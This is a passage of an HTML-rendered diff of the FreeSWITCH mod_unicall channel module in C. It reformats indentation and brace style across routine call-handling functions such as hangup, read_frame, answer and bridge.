+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_routing(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_routing(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel routing\n", switch_channel_get_name(channel));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel routing\n", switch_channel_get_name(channel));
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_on_execute(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_execute(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_execute(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel execute\n", switch_channel_get_name(channel));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel execute\n", switch_channel_get_name(channel));
</ins><span class="cx">
</span><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_on_destroy(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
</ins><span class="cx">
</span><span class="cx">         if (tech_pvt) {
</span><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->read_codec))
</span><span class="lines">@@ -948,1030 +913,960 @@
</span><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->write_codec))
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->write_codec);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-                
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_on_hangup(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_hangup(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_hangup(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- switch_clear_flag_locked(tech_pvt, TFLAG_IO);
- switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
- //switch_thread_cond_signal(tech_pvt->cond);
</del><ins>+        switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+        switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+        //switch_thread_cond_signal(tech_pvt->cond);
</ins><span class="cx">
</span><del>-                
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel hangup\n", switch_channel_get_name(channel));
</del><span class="cx">
</span><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel hangup\n", switch_channel_get_name(channel));
+
</ins><span class="cx"> #if 0
</span><del>- if ((ret = uc_call_control(uc, UC_OP_DROPCALL, crn, (void *) (intptr_t) switch_channel_get_cause(channel))) < 0)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Drop call failed - %s\n", uc_ret_to_str(ret));
- return SWITCH_STATUS_FAILED;
- }
- /*endif*/
</del><ins>+        if ((ret = uc_call_control(uc, UC_OP_DROPCALL, crn, (void *) (intptr_t) switch_channel_get_cause(channel))) < 0) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Drop call failed - %s\n", uc_ret_to_str(ret));
+                return SWITCH_STATUS_FAILED;
+        }
+        /*endif */
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>- switch_mutex_lock(globals.mutex);
- if (--globals.calls < 0)
- globals.calls = 0;
- switch_mutex_unlock(globals.mutex);
</del><ins>+        switch_mutex_lock(globals.mutex);
+        if (--globals.calls < 0)
+                globals.calls = 0;
+        switch_mutex_unlock(globals.mutex);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_kill_channel(switch_core_session_t *session, int sig)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel = NULL;
- private_t *tech_pvt = NULL;
</del><ins>+        switch_channel_t *channel = NULL;
+        private_t *tech_pvt = NULL;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d)\n", (void *) session, sig);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d)\n", (void *) session, sig);
</ins><span class="cx">
</span><del>- switch (sig)
- {
- case SWITCH_SIG_KILL:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) SIG_KILL\n", (void *) session, sig);
- switch_clear_flag_locked(tech_pvt, TFLAG_IO);
- switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
- switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
- //switch_thread_cond_signal(tech_pvt->cond);
- break;
- case SWITCH_SIG_BREAK:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) SIG_BREAK\n", (void *) session, sig);
- switch_set_flag_locked(tech_pvt, TFLAG_BREAK);
- break;
- default:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) DEFAULT\n", (void *) session, sig);
- break;
- }
</del><ins>+        switch (sig) {
+        case SWITCH_SIG_KILL:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) SIG_KILL\n", (void *) session, sig);
+                switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+                switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+                switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
+                //switch_thread_cond_signal(tech_pvt->cond);
+                break;
+        case SWITCH_SIG_BREAK:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) SIG_BREAK\n", (void *) session, sig);
+                switch_set_flag_locked(tech_pvt, TFLAG_BREAK);
+                break;
+        default:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) DEFAULT\n", (void *) session, sig);
+                break;
+        }
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_on_exchange_media(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_exchange_media(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_exchange_media(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL LOOPBACK\n");
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL LOOPBACK\n");
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_on_soft_execute(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_soft_execute(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_soft_execute(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL TRANSMIT\n");
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL TRANSMIT\n");
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_send_dtmf(switch_core_session_t *session, const switch_dtmf_t *dtmf)
</span><span class="cx"> {
</span><del>- private_t *tech_pvt = switch_core_session_get_private(session);
- switch_assert(tech_pvt != NULL);
</del><ins>+        private_t *tech_pvt = switch_core_session_get_private(session);
+        switch_assert(tech_pvt != NULL);
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_send_dtmf(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_send_dtmf(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel = NULL;
- private_t *tech_pvt = NULL;
- //switch_time_t started = switch_time_now();
- //unsigned int elapsed;
- switch_byte_t *data;
</del><ins>+        switch_channel_t *channel = NULL;
+        private_t *tech_pvt = NULL;
+        //switch_time_t started = switch_time_now();
+        //unsigned int elapsed;
+        switch_byte_t *data;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_read_frame(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_read_frame(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- tech_pvt->read_frame.flags = SFF_NONE;
- *frame = NULL;
</del><ins>+        tech_pvt->read_frame.flags = SFF_NONE;
+        *frame = NULL;
</ins><span class="cx">
</span><del>- while (switch_test_flag(tech_pvt, TFLAG_IO))
- {
- if (switch_test_flag(tech_pvt, TFLAG_BREAK))
- {
- switch_clear_flag(tech_pvt, TFLAG_BREAK);
- data = (switch_byte_t *) tech_pvt->read_frame.data;
- data[0] = 65;
- data[1] = 0;
- tech_pvt->read_frame.datalen = 2;
- tech_pvt->read_frame.flags = SFF_CNG;
- *frame = &tech_pvt->read_frame;
- return SWITCH_STATUS_SUCCESS;
- }
</del><ins>+        while (switch_test_flag(tech_pvt, TFLAG_IO)) {
+                if (switch_test_flag(tech_pvt, TFLAG_BREAK)) {
+                        switch_clear_flag(tech_pvt, TFLAG_BREAK);
+                        data = (switch_byte_t *) tech_pvt->read_frame.data;
+                        data[0] = 65;
+                        data[1] = 0;
+                        tech_pvt->read_frame.datalen = 2;
+                        tech_pvt->read_frame.flags = SFF_CNG;
+                        *frame = &tech_pvt->read_frame;
+                        return SWITCH_STATUS_SUCCESS;
+                }
</ins><span class="cx">
</span><del>- if (!switch_test_flag(tech_pvt, TFLAG_IO))
- return SWITCH_STATUS_FALSE;
</del><ins>+                if (!switch_test_flag(tech_pvt, TFLAG_IO))
+                        return SWITCH_STATUS_FALSE;
</ins><span class="cx">
</span><del>- if (switch_test_flag(tech_pvt, TFLAG_IO) && switch_test_flag(tech_pvt, TFLAG_VOICE))
- {
- switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
- if (!tech_pvt->read_frame.datalen)
- continue;
- *frame = &tech_pvt->read_frame;
</del><ins>+                if (switch_test_flag(tech_pvt, TFLAG_IO) && switch_test_flag(tech_pvt, TFLAG_VOICE)) {
+                        switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+                        if (!tech_pvt->read_frame.datalen)
+                                continue;
+                        *frame = &tech_pvt->read_frame;
</ins><span class="cx"> #if SWITCH_BYTE_ORDER == __BIG_ENDIAN
</span><del>- if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
- switch_swap_linear((*frame)->data, (int) (*frame)->datalen / 2);
</del><ins>+                        if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
+                                switch_swap_linear((*frame)->data, (int) (*frame)->datalen / 2);
</ins><span class="cx"> #endif
</span><del>- return SWITCH_STATUS_SUCCESS;
- }
</del><ins>+                        return SWITCH_STATUS_SUCCESS;
+                }
</ins><span class="cx">
</span><del>- switch_cond_next();
- }
</del><ins>+                switch_cond_next();
+        }
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_FALSE;
</del><ins>+        return SWITCH_STATUS_FALSE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel = NULL;
- private_t *tech_pvt = NULL;
- //switch_frame_t *pframe;
</del><ins>+        switch_channel_t *channel = NULL;
+        private_t *tech_pvt = NULL;
+        //switch_frame_t *pframe;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_write_frame(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_write_frame(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- if (!switch_test_flag(tech_pvt, TFLAG_IO))
- return SWITCH_STATUS_FALSE;
</del><ins>+        if (!switch_test_flag(tech_pvt, TFLAG_IO))
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx"> #if SWITCH_BYTE_ORDER == __BIG_ENDIAN
</span><del>- if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
- switch_swap_linear(frame->data, (int) frame->datalen/sizeof(int16_t));
</del><ins>+        if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
+                switch_swap_linear(frame->data, (int) frame->datalen / sizeof(int16_t));
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t redirect_audio(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "redirect_audio(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "redirect_audio(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t transmit_text(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "transmit_text(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "transmit_text(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t answer(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "answer(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "answer(%p)\n", (void *) session);
</ins><span class="cx">
</span><span class="cx"> #if 0
</span><del>- if ((ret = uc_call_control(uc, UC_OP_ANSWERCALL, crn, NULL)) < 0)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Answer call failed - %s\n", uc_ret_to_str(ret));
- return SWITCH_STATUS_FAILED;
- }
- /*endif*/
</del><ins>+        if ((ret = uc_call_control(uc, UC_OP_ANSWERCALL, crn, NULL)) < 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Answer call failed - %s\n", uc_ret_to_str(ret));
+                return SWITCH_STATUS_FAILED;
+        }
+        /*endif */
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t progress(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "progress(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "progress(%p)\n", (void *) session);
</ins><span class="cx">
</span><span class="cx"> #if 0
</span><del>- if ((ret = uc_call_control(uc, UC_OP_ACCEPTCALL, crn, NULL)) < 0)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Accept call failed - %s\n", uc_ret_to_str(ret));
- return SWITCH_STATUS_FAILED;
- }
- /*endif*/
</del><ins>+        if ((ret = uc_call_control(uc, UC_OP_ACCEPTCALL, crn, NULL)) < 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Accept call failed - %s\n", uc_ret_to_str(ret));
+                return SWITCH_STATUS_FAILED;
+        }
+        /*endif */
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t bridge(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "bridge(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "bridge(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unbridge(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unbridge(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unbridge(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t transfer(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "transfer(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "transfer(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t ringing(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "ringing(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "ringing(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t media(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "media(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "media(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t nomedia(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
